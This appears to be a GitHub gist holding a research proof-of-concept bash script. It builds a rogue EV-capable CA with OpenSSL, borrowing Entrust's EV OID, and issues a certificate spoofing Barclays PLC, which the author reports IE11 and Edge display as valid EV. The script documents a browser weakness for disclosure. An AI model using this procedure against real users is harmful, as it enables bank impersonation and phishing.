Instantly share code, notes, and snippets.

Embed
What would you like to do?
Experiment to use OpenSSL to establish an EV-capable CA and issue illigitimate certificates which will be accepted and displayed as full valid EV certificates by Microsoft Internet Explorer and Edge on appropriately-configured Windows computers.
#!/bin/bash
# The following steps, which were tested on Ubuntu 18.04 LTS and on the Ubuntu-powered Linux for Windows Subsystem on Windows,
# will:
#
# * Compile a recent version of OpenSSL (you can skip this step and use your package maintainer's version if you prefer, but you
# might have to tweak a few bits)
# * Create a separate set of configuration files suitable for configuring a basic CA capable of signing EV certificates
# * Create such a CA (hackerca.local / HackerCA EV Root CA)
# * Create a certificate request for a site, hackersite.local, belonging to company "Barclays PLC [GB]"
# * Create that certificate, signing it as the CA and attaching the additional data required of an EV certificate belonging
# to that company
#
# To replicate my experiment, all that remains for you to do is:
# * Install ca.crt (the CA's root certificate) into your operating system or browser's certificate store (and mark it as trusted,
# if necessary). Also: add the CA's OID (I'm using 2.16.840.1.114028.10.1.2) to the expected OIDs (in Windows, this can be found
# in Certificate Manager by right-clicking the certificate, clicking Properties, then the Extended Validation tab; compare to
# a known EV-capable CA's record if you need a clue)
# This represents a step that can be automated by a network administrator on a corporate network
# * Update your hosts file with e.g. "127.0.0.1 hackersite.local" so that requests come to your site
# * Either set up a webserver using SSL key website.key and certiciate website.crt or else just use OpenSSL's "s_server" and
# "-www" switches (as described at the very bottom) to set up a very basic server
# * Visit https://hackersite.local/ in your web browser
#
# My results -
# * Internet Explorer 11 and Edge 17 show the full company name - they fall for the spoofing
# * Firefox, Chrome, Opera, and Safari (both MacOS and iOS) all refrain from showing the company name in this instance (although
# they still allow the connection - we REALLY need some kind of 'require-ev' flag; more ideas on that in a future post!); note
# that this is true even where the browser shares Windows' certificate store!
# Install OpenSSL (I'm using 1.1.1pre9)
wget https://www.openssl.org/source/openssl-1.1.1-pre9.tar.gz
tar xzf openssl-1.1.1-pre9.tar.gz
rm openssl-1.1.1-pre9.tar.gz
cd openssl-1.1.1-pre9
./config --prefix=/usr/local --openssldir=/usr/local -Wl,--enable-new-dtags,-rpath,'$(LIBRPATH)'
make
make test
sudo make install
openssl version # should report e.g. "OpenSSL 1.1.1-pre9 (beta) 21 Aug 2018"
rm -rf openssl-1.1.1-pre9
# Generate CA private key (will ask for password)
openssl genrsa -aes256 -out ca.key 4096
# Make a copy of openssl configuration and add our own optional sections with CA extensions
# Note - 2.16.840.1.114028.10.1.2 is Entrust EV CPS, we're "borrowing" their OID (https://en.wikipedia.org/wiki/Extended_Validation_Certificate#Extended_Validation_certificate_identification)
# 2.23.140.1.1 is the Extended Validation Guidelines (https://cabforum.org/object-registry/#Object-Registry-of-the-CA-Browser-Forum)
cp /usr/local/openssl.cnf openssl.cnf
printf "
[danq_ca_ext]
subjectKeyIdentifier=hash
authorityKeyIdentifier=keyid:always,issuer
basicConstraints=critical,CA:true
keyUsage=critical,digitalSignature,cRLSign,keyCertSign
[new_oids]
trustList=2.16.840.1.113730.1.900
# these four are already defined in my OpenSSL, but they're here for if you're using an older version:
#businessCategory=2.5.4.15
#jurisdictionOfIncorporationLocalityName=1.3.6.1.4.1.311.60.2.1.1
#jurisdictionOfIncorporationStateOrProvinceName=1.3.6.1.4.1.311.60.2.1.2
#jurisdictionOfIncorporationCountryName=1.3.6.1.4.1.311.60.2.1.3
" >> openssl.cnf
# Create a configuration file with EV certificate extensions
printf "
[danq_website_ext]
#trustList=ASN1:UTF8String:https://mytestdomain.local/EVTrustList.etl
subjectKeyIdentifier=hash
authorityKeyIdentifier=keyid:always,issuer
keyUsage=critical,digitalSignature,keyEncipherment
extendedKeyUsage=serverAuth,clientAuth
authorityInfoAccess=OCSP;URI:http://ocsp.hackerca.local/
authorityInfoAccess=caIssuers;URI:http://hackerca.local/ca.html
crlDistributionPoints=URI:http://ocsp.hackerca.local/ca.crl
basicConstraints=critical,CA:false
certificatePolicies=@entrust,2.23.140.1.1
subjectAltName=DNS:hackersite.local
[entrust]
policyIdentifier=2.16.840.1.114028.10.1.2
CPS.1=http://hackerca.local/rpa
" > extensions.cnf
# Make serial number incrementer file, must have even number of digits
printf "012345" > ca.srl
# Generate CA root certificate signed with the CA key
OPENSSL_CONF=openssl.cnf openssl req -new -x509 -key ca.key -out ca.crt -days 3650 -set_serial 0 -subj "/C=GB/O=HackerCA/OU=hackerca.local/CN=HackerCA EV Root CA" -extensions danq_ca_ext
# Generate website key (as this is only an experimental key, a 30-day duration is plenty sufficient
# We'll be generating a certificate that spoofs Barclays PLC, a major UK bank - there's nothing special about them; just a random pick
openssl req -new -keyout website.key -out website.csr -days 30 -subj "/C=GB/ST=London/L=London/jurisdictionC=GB/O=Barclays PLC/businessCategory=Private Organization/OU=Web and Infrastructure Services/CN=hackersite.local"
openssl rsa -in website.key -out website.key
# Sign the website's CSR and provide a certificate with all the relevant EV extensions
OPENSSL_CONF=openssl.cnf openssl x509 -req -in website.csr -out website.crt -CAkey ca.key -CA ca.crt -days 30 -trustout -addtrust clientAuth -addtrust serverAuth -extfile extensions.cnf -extensions danq_website_ext
# Launch openssl webserver (on port 443, hence sudo)
sudo openssl s_server -accept 443 -cert website.crt -key website.key -www
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment